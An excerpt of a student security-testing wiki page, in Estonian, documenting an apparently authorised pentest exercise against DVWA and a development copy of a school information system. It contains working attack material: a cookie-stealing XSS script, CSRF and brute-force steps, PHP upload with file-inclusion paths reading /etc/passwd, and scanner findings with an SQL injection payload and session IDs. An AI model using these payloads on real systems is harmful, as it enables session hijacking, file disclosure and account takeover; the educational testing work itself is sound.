  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Täname oma juhendajaid:&lt;br /&gt;
:Mart Mangus&lt;br /&gt;
:Margus Ernits&lt;br /&gt;
:Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47069</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47069"/>
		<updated>2012-03-30T20:56:16Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Alo tegevus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
==== Acunetix Web Vulnerability Scanner v. 8 automaatskännimise tööriistaga tutvumine ====&lt;br /&gt;
 http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
 http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
 http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
 http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
 http://www.isecom.org/research.html&lt;br /&gt;
 http://evuln.com/tools/&lt;br /&gt;
 http://sectools.org/tag/web-scanners/&lt;br /&gt;
 http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
 http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
 Cross-Site Scripting (XSS)&lt;br /&gt;
 SQL Injection (blind test)&lt;br /&gt;
 File inclusion&lt;br /&gt;
 Code Execution&lt;br /&gt;
 LDAP Injection&lt;br /&gt;
 Cross Frame Scripting&lt;br /&gt;
 SQL Injection (error msg. test)&lt;br /&gt;
 CRLF Injection&lt;br /&gt;
 Directory Travelsal&lt;br /&gt;
 XPath Injection&lt;br /&gt;
 URL Redirection&lt;br /&gt;
 Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
